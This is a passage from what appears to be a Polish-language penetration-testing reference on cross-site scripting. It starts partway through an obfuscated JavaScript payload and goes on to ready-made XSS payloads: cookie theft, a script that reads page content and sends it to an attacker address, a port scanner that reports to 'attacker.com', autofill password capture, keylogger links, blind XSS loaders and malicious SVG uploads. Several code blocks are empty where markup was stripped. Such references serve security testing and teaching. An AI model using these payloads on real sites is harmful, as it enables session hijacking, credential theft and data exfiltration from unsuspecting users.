o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (゚ー゚ + ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + (゚ー゚ + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) - ゚Θ゚) + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ゚ー゚ + (o ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + ゚Θ゚ + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + (c ^ _ ^ o) + ゚Д゚[゚ε゚] + ゚Θ゚ + ((o ^ _ ^ o) + (o ^ _ ^ o)) + ゚ー゚ + ゚Д゚[゚ε゚] + ゚ー゚ + ((o ^ _ ^ o) - ゚Θ゚) + ゚Д゚[゚ε゚] + (゚ー゚ + ゚Θ゚) + ゚Θ゚ + ゚Д゚[゚o゚] )(゚Θ゚) )("_") ``` ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS common payloads ### Several payloads in 1 {{#ref}} steal-info-js.md {{#endref}} ### Iframe Trap Zmuszenie użytkownika do nawigacji po stronie bez opuszczania iframe i kradzież jego działań (w tym informacji wysyłanych w formularzach): {{#ref}} ../iframe-traps.md {{#endref}} ### Retrieve Cookies ```javascript /?c="+document.cookie> ``` > [!NOTE] > Nie **będziesz mógł uzyskać dostęp do ciasteczek z JavaScript**, jeśli flaga HTTPOnly jest ustawiona w ciasteczku. Ale tutaj masz [kilka sposobów na obejście tej ochrony](../hacking-with-cookies/index.html#httponly), jeśli masz wystarczająco dużo szczęścia. ### Kradzież zawartości strony ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" var xhr = new XMLHttpRequest() xhr.onreadystatechange = function () { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open("GET", url, true) xhr.send(null) ``` ### Znajdź wewnętrzne adresy IP ```html ``` ### Skaner portów (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Skaner portów (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Przechwytywanie haseł automatycznego uzupełniania ```javascript Username:
Password:
``` Gdy jakiekolwiek dane zostaną wprowadzone w polu hasła, nazwa użytkownika i hasło są wysyłane na serwer atakującego, nawet jeśli klient wybierze zapisane hasło i nic nie wpisze, dane uwierzytelniające zostaną wyekstrahowane. ### Keylogger Szukając w githubie, znalazłem kilka różnych: - [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) - [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) - [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) - Możesz również użyć metasploit `http_javascript_keylogger` ### Kradzież tokenów CSRF ```javascript ``` ### Kradzież wiadomości PostMessage ```html ``` ### Wykorzystywanie Service Workers {{#ref}} abusing-service-workers.md {{#endref}} ### Uzyskiwanie dostępu do Shadow DOM {{#ref}} shadow-dom.md {{#endref}} ### Poligloty {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} ### Ślepe ładunki XSS Możesz również użyć: [https://xsshunter.com/](https://xsshunter.com) ```html "> "> >
Click Me For An Awesome Time "> "> {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Uzyskiwanie Ukrytej Zawartości Z [**tego opisu**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) można się dowiedzieć, że nawet jeśli niektóre wartości znikają z JS, nadal można je znaleźć w atrybutach JS w różnych obiektach. Na przykład, wejście REGEX wciąż można znaleźć po usunięciu wartości wejścia regex: ```javascript // Do regex with flag flag = "CTF{FLAG}" re = /./g re.test(flag) // Remove flag value, nobody will be able to get it, right? flag = "" // Access previous regex input console.log(RegExp.input) console.log(RegExp.rightContext) console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` ### Lista Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} ## XSS Wykorzystywanie innych podatności ### XSS w Markdown Możesz wstrzyknąć kod Markdown, który zostanie wyrenderowany? Może uda ci się uzyskać XSS! Sprawdź: {{#ref}} xss-in-markdown.md {{#endref}} ### XSS do SSRF Masz XSS na **stronie, która używa cache**? Spróbuj **zaktualizować to do SSRF** poprzez wstrzyknięcie Edge Side Include z tym ładunkiem: ```python ``` Użyj tego, aby obejść ograniczenia ciasteczek, filtry XSS i wiele więcej!\ Więcej informacji na temat tej techniki tutaj: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). ### XSS w dynamicznie tworzonym PDF Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować **oszukać bota**, który tworzy PDF, aby **wykonał dowolny kod JS**.\ Jeśli **bot tworzący PDF znajdzie** jakiś rodzaj **znaczników HTML**, będzie je **interpretować**, a ty możesz **wykorzystać** to zachowanie, aby spowodować **Server XSS**. {{#ref}} server-side-xss-dynamic-pdf.md {{#endref}} Jeśli nie możesz wstrzyknąć znaczników HTML, warto spróbować **wstrzyknąć dane PDF**: {{#ref}} pdf-injection.md {{#endref}} ### XSS w Amp4Email AMP, mający na celu przyspieszenie wydajności stron internetowych na urządzeniach mobilnych, zawiera znaczniki HTML uzupełnione przez JavaScript, aby zapewnić funkcjonalność z naciskiem na szybkość i bezpieczeństwo. Obsługuje szereg komponentów dla różnych funkcji, dostępnych za pośrednictwem [AMP components](https://amp.dev/documentation/components/?format=websites). Format [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) rozszerza określone komponenty AMP na e-maile, umożliwiając odbiorcom interakcję z treścią bezpośrednio w ich e-mailach. Przykład [**writeup XSS w Amp4Email w Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). ### XSS przesyłanie plików (svg) Prześlij jako obraz plik podobny do poniższego (z [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 -----------------------------232181429808 Content-Disposition: form-data; name="img"; filename="img.svg" Content-Type: image/svg+xml -----------------------------232181429808-- ``` ```html ``` ```html ``` ```svg